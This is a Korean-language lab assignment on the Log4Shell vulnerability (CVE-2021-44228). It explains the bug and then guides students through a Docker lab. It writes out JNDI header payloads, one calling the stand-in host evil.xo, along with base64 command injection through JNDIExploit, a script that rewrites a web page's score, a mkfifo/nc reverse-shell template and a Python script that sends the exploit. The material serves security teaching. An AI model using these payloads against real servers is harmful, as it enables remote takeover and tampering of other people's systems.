
Log4Shell CVE-2021-44228 데모
2021년 말 사이버 보안 업계에서 가장 큰 뉴스는 Log4j의 취약점이었습니다. CVE-2021-44228로 번호가 부여되었으며 Log4Shell이라고도 불립니다. CVSS 취약점 평가 시스템에서 가장 심각한 등급인 10점을 받았으며, 최근 Heartbleed와 ShellShock에 이어 가장 중대한 취약점으로 간주됩니다. 어떤 이들은 이를 '핵폭탄급 취약점'이라고 묘사할 정도로 그 영향이 매우 깊습니다. 이 과제는 CVE-2021-44228을 분석하고 lab 실습을 함께 진행합니다.
Logfile(로그 파일)은 실행 중인 운영 체제나 소프트웨어에서 발생하는 이벤트를 기록하는 파일이거나, 네트워크 채팅 소프트웨어 사용자 간에 전송된 메시지를 기록합니다. 많은 운영 체제, 소프트웨어 프레임워크 및 프로그램이 로그 파일 시스템을 포함합니다. Java에는 매우 유용한 로그 패키지인 Log4j가 있습니다. 이 패키지는 Apache Software Foundation에 속하므로 정식 명칭은 Apache Log4j입니다.
Log4j는 매우 유용한 도구로, Java 프로그램에서 널리 사용됩니다. 많은 경우 소프트웨어 엔지니어는 실행 중인 프로그램의 데이터를 로그 파일에 기록하거나 다른 데이터베이스에 기록하여 나중에 사용해야 합니다. 이것이 Log4j의 용도입니다. 어딘가에서 문자열(예: 로그인 화면에 입력된 사용자 ID)을 받아서 다른 곳(예: 인증 프로세스의 데이터 입력 필드)에 문자열을 씁니다. 기본적인 복사/붙여넣기 외에도 Log4j는 문자열의 내용을 확인하고 해석할 수 있습니다. 그런데 해석은 위험한 작업입니다. 프로그램이 먼저 문자열을 정리하지 않으면 해석 시 문제가 발생하기 쉽기 때문입니다. Log4j는 먼저 문자열을 정리하지 않고 해석하므로 공격자가 인젝션 공격(injection)을 할 기회가 생깁니다.
CVE-2021-44228은 중요한 취약점입니다. 인증되지 않은 공격자가 Java 서버에서 RCE(Remote Code Execution, 원격 코드 실행 공격)를 실행할 수 있기 때문입니다. 이 취약점은 log4j가 로그 메시지를 처리하는 방식에서 비롯됩니다. 공격자가 조작된 메시지(예: ${jndi:ldap://rogueldapserver.com/a}와 같은 문자열 포함)를 보내면 외부 코드 클래스나 메시지 조회(message lookup)를 로드하여 해당 프로그램을 실행하게 되어 RCE가 발생할 수 있습니다.

다음은 RCE의 기본 흐름입니다.
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
SEED Ubuntu 20.04 VM을 먼저 다운로드하세요. 이 VM은 설치된 Docker 환경을 제공합니다. 다운로드
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # 컨테이너 이미지 빌드
$ docker-compose up # 컨테이너 시작
$ docker-compose down # 컨테이너 종료
# 위 Compose 명령어의 별칭
$ dcbuild # docker-compose build의 별칭
$ dcup # docker-compose up의 별칭
$ dcdown # docker-compose down의 별칭
$ dockps # docker ps --format "{{.ID}} {{.Names}}"의 별칭
$ docksh <id> # docker exec -it <id> /bin/bash의 별칭
# 다음 예제는 hostC 내부에서 셸을 얻는 방법을 보여줍니다
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
단계를 간소화하기 위해 모든 서버는 동일한 LAN에 있습니다.

이 Task에서는 사용자가 log4j가 어떻게 작동하는지 익힐 수 있습니다. 사용자는 X-Api-Version 헤더를 사용하여 log4j로 로그를 기록할 수 있습니다.
# <>는 사용자가 수정해야 할 내용입니다
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
서버가 보낸 요청을 올바르게 해석하면 Hello World!를 반환합니다.
보고서에 서버가 반환한 결과와 서버가 요청을 올바르게 해석했는지, 로그를 기록했는지 기록하세요.
2013년에 Log4j 패키지에 'JNDILookup 플러그인'이 추가되어 개발자가 JNDI와 LDAP을 결합하여 외부 JNDITutorial의 Java 데이터 객체를 가져올 수 있게 되었습니다.
이제 방금 사용한 log4j와 JNDIExploit을 결합하여 서버가 우리가 원하는 명령을 실행하도록 해보겠습니다.
# <>는 사용자가 수정해야 할 내용입니다
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
/tmp 폴더에 secret.txt 파일을 만들고 서버에 접속하여 파일이 성공적으로 생성되었는지 확인하세요.
참고-1: <content>에는 명령어를 직접 넣을 수 없으며 변환이 필요합니다.
참고-2:vulnerable-app에/bin/bash셸이 없기 때문에 파일을 확인하려면 docker 명령어를 사용할 수 있습니다.
$ docker exec vulnerable-app ls /tmp
이전 Task를 통해 vulnerable-app이 공격자의 base64 명령어를 모두 실행한다는 것을 알게 되었습니다. 공격자가 더 복잡한 작업을 원한다면 shell script 공격 스크립트를 보내 서버가 실행하도록 할 수 있습니다.
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
위는 웹사이트 점수를 수정하는 스크립트로, 점수는 index.html에 저장됩니다. 먼저 성공적으로 실행하고 차이점을 지적하세요. 그런 다음 이 스크립트를 수정하여 점수 파일을 원하는 숫자로 변경하세요.
참고-1: 파일을 쉽게 수정하는 방법으로
sed도 있습니다.
참고-2:vulnerable-app은 사용자가 브라우저를 통해 /var/www를 보는 것을 허용하지 않으므로, 파일을 확인하려면 docker 명령어를 사용할 수 있습니다.
$ docker exec vulnerable-app cat /var/www/index.html
이전 Task를 통해 우리는 실행하려는 명령어를 base64로 변환하여 서버가 실행하도록 할 수 있었습니다. 서버를 완전히 제어하기 위해 명령어를 사용하여 리버스 셸(reverse shell)을 생성할 수 있습니다.
# <>는 사용자가 수정해야 할 내용입니다
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
편의를 위해 공격을 위한 Python 스크립트를 제공합니다.
import os
import sys
import base64
import requests
ldap = '###' # 사용자 수정
server_ip = '###' # 사용자 수정
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
참고:
vulnerable-app에는/bin/bash와/dev/tcp가 없으므로 일반적인 리버스 셸 방식을 사용할 수 없습니다. 하지만 파이프 파일을 생성하여 읽고 쓸 수 있습니다.
$ mkfifo <file-name>
https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641